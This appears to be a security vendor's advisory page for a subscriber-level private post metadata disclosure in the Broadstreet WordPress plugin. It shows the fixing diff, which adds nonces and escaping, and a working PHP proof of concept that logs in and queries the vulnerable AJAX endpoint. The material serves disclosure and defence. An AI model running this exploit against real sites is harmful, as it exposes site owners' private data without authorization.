+      window.broadstreet_zone_settings_nonce = '<?php echo wp_create_nonce('broadstreet_zone_settings_nonce'); ?>';
+      </script>
 No newline at end of file
--- a/broadstreet/trunk/Broadstreet/Views/admin/businessMetaBox.php
+++ b/broadstreet/trunk/Broadstreet/Views/admin/businessMetaBox.php
@@ -266,4 +266,8 @@
 <input type="hidden" name="bs_submit" value="1" />

 <script src="<?php echo esc_url(Broadstreet_Utility::getVendorBaseURL()) ?>jquery/jquery-ui-1.9.1.sortable-custom.min.js"></script>
-<script>window.bs_post_id = <?php echo (int)$GLOBALS['post']->ID ?>;</script>
+<script>
+window.bs_post_id = <?php echo (int)$GLOBALS['post']->ID ?>;
+window.broadstreet_advertiser_nonce = '<?php echo wp_create_nonce('broadstreet_advertiser_nonce'); ?>';
+window.broadstreet_facebook_nonce = '<?php echo wp_create_nonce('broadstreet_facebook_nonce'); ?>';
+</script>
--- a/broadstreet/trunk/Broadstreet/Views/admin/businesses.php
+++ b/broadstreet/trunk/Broadstreet/Views/admin/businesses.php
@@ -1,5 +1,6 @@
 <script src="https://broadstreet-common.s3.amazonaws.com/broadstreet-net/init.js"></script>
 <form method="post">
+    <?php wp_nonce_field('broadstreet_business_nonce'); ?>
 <div id="main">
       <?php Broadstreet_View::load('admin/global/header') ?>
       <div class="left_column">
--- a/broadstreet/trunk/Broadstreet/Views/admin/sponsoredBox.php
+++ b/broadstreet/trunk/Broadstreet/Views/admin/sponsoredBox.php
@@ -121,4 +121,7 @@
         and make sure your access token is correct, and make sure you have zones set up.</p>
 <?php endif; ?>
 <input type="hidden" name="bs_sponsor_submit" value="1" />
-<script>window.bs_post_id = <?php echo (int)$GLOBALS['post']->ID ?>;</script>
 No newline at end of file
+<script>
+window.bs_post_id = <?php echo (int)$GLOBALS['post']->ID ?>;
+window.broadstreet_sponsor_nonce = '<?php echo wp_create_nonce('broadstreet_sponsor_nonce'); ?>';
+</script>
 No newline at end of file
--- a/broadstreet/trunk/Broadstreet/Views/admin/zones.php
+++ b/broadstreet/trunk/Broadstreet/Views/admin/zones.php
@@ -7,7 +7,10 @@
 try {
     // --- START OF ORIGINAL PAGE CONTENT ---
 ?>
-<script>window.bs_bootstrap = <?php echo json_encode($data); ?>;</script>
+<script>
+window.bs_bootstrap = <?php echo json_encode($data); ?>;
+window.broadstreet_zone_settings_nonce = '<?php echo wp_create_nonce('broadstreet_zone_settings_nonce'); ?>';
+</script>
 <div id="main" ng-app="bs_zones">
       <?php Broadstreet_View::load('admin/global/header') ?>
       <div class="left_column" ng-controller="ZoneCtrl">
--- a/broadstreet/trunk/Broadstreet/Views/listings/archive/default.php
+++ b/broadstreet/trunk/Broadstreet/Views/listings/archive/default.php
@@ -50,15 +50,15 @@
 <?php endif; ?>
 <div class="biz-column-1">
     <?php if(count($meta['bs_images'])): ?>
-    <img class="boxed-sizing" src="<?php echo $meta['bs_images'][0] ?>" alt="" width="100%" />
+    <img class="boxed-sizing" src="<?php echo esc_url($meta['bs_images'][0]) ?>" alt="" width="100%" />
     <div></div>
     <?php endif; ?>
     <div class="basic-info">
         <?php if($meta['bs_address']): ?>
-            <?php echo nl2br($meta['bs_address']) ?><br />
+            <?php echo nl2br(esc_html($meta['bs_address'])) ?><br />
         <?php endif; ?>
-        <?php if($meta['bs_phone']): ?>
-            <?php echo $meta['bs_phone'] ?>
+        <?php if($meta['bs_phone']): ?>
+            <?php echo esc_html($meta['bs_phone']) ?>
         <?php endif; ?>
     </div>
 </div>
@@ -66,26 +66,26 @@
     <?php echo wp_trim_words(strip_tags($content), 100); ?> <a href="<?php the_permalink() ?>">Read More</a>
     <?php $day = strtolower(date('l')); ?>
     <?php if($meta["bs_{$day}_open"]): ?>
-        <div><strong>Open today</strong> <?php echo $meta["bs_{$day}_open"] . ' to ' . $meta["bs_{$day}_close"]; ?>.
+        <div><strong>Open today</strong> <?php echo esc_html($meta["bs_{$day}_open"]) . ' to ' . esc_html($meta["bs_{$day}_close"]); ?>.
             <?php if($meta['bs_menu']): ?>
-                <a href="<?php echo $meta['bs_menu'] ?>">View a menu</a>
-            <?php endif; ?>
+                <a href="<?php echo esc_url($meta['bs_menu']) ?>">View a menu</a>
+            <?php endif; ?>
         </div>
-        <?php echo get_the_term_list($GLOBALS['post']->ID, Broadstreet_Core::BIZ_TAXONOMY, 'Posted in: ', ', ', '') ?>
+        <?php echo get_the_term_list($GLOBALS['post']->ID, Broadstreet_Core::BIZ_TAXONOMY, 'Posted in: ', ', ', '') ?>
     <?php endif; ?>
     <?php if($meta['bs_twitter'] || $meta['bs_twitter'] || $meta['bs_yelp']): ?>
         <p class="bs-social">
             <?php if($meta['bs_twitter']): ?>
-            <a target="_blank" href="<?php echo $meta['bs_twitter'] ?>"><img src="<?php echo Broadstreet_Utility::getImageBaseURL().'twitter.png' ?>" alt="twitter" width="20" /></a>
+            <a target="_blank" href="<?php echo esc_url($meta['bs_twitter']) ?>"><img src="<?php echo esc_url(Broadstreet_Utility::getImageBaseURL().'twitter.png') ?>" alt="twitter" width="20" /></a>
             <?php endif; ?>
             <?php if($meta['bs_facebook']): ?>
-            <a target="_blank" href="<?php echo $meta['bs_facebook'] ?>"><img src="<?php echo Broadstreet_Utility::getImageBaseURL().'facebook.png' ?>" alt="facebook" width="20" /></a>
+            <a target="_blank" href="<?php echo esc_url($meta['bs_facebook']) ?>"><img src="<?php echo esc_url(Broadstreet_Utility::getImageBaseURL().'facebook.png') ?>" alt="facebook" width="20" /></a>
             <?php endif; ?>
             <?php if($meta['bs_gplus']): ?>
-            <a target="_blank" href="<?php echo $meta['bs_gplus'] ?>"><img src="<?php echo Broadstreet_Utility::getImageBaseURL().'google.png' ?>" alt="Google Plus" width="20" /></a>
+            <a target="_blank" href="<?php echo esc_url($meta['bs_gplus']) ?>"><img src="<?php echo esc_url(Broadstreet_Utility::getImageBaseURL().'google.png') ?>" alt="Google Plus" width="20" /></a>
             <?php endif; ?>
             <?php if($meta['bs_yelp']): ?>
-            <a target="_blank" href="<?php echo $meta['bs_yelp'] ?>"><img src="<?php echo Broadstreet_Utility::getImageBaseURL().'yelp.png' ?>" alt="yelp" width="20" /></a>
+            <a target="_blank" href="<?php echo esc_url($meta['bs_yelp']) ?>"><img src="<?php echo esc_url(Broadstreet_Utility::getImageBaseURL().'yelp.png') ?>" alt="yelp" width="20" /></a>
             <?php endif; ?>
         </p>
     <?php endif; ?>
--- a/broadstreet/trunk/broadstreet.php
+++ b/broadstreet/trunk/broadstreet.php
@@ -3,8 +3,8 @@
 Plugin Name: Broadstreet
 Plugin URI: http://broadstreetads.com
 Description: Integrate Broadstreet business directory and adserving power into your site
-Version: 1.52.2
-Tested up to: 6.6.1
+Version: 1.53.2
+Tested up to: 6.9
 Author: Broadstreet
 Author URI: http://broadstreetads.com
 */

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1881 - Broadstreet <= 1.52.2 - Authenticated (Subscriber+) Private Post Meta Disclosure via get_sponsored_meta

// Configuration - set these variables
$target_url = 'http://example.com'; // Target WordPress site URL (no trailing slash)
$username = 'subscriber_user'; // WordPress username with Subscriber role or higher
$password = 'user_password'; // Corresponding password
$target_post_id = 1; // Post ID to read metadata from

// Step 1: Authenticate with WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Authenticating as $username...n";

// Step 2: Access the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$params = array(
    'action' => 'get_sponsored_meta',
    'post_id' => $target_post_id
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url . '?' . http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Requesting metadata for post ID $target_post_id...n";

// Step 3: Display the results
$result = json_decode($response, true);
if (isset($result['success']) && $result['success'] === true) {
    echo "[+] Success! Retrieved post metadata:n";
    print_r($result['meta']);
} else {
    echo "[-] Failed to retrieve metadata. Response:n";
    echo $response . "n";
}

// Clean up
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School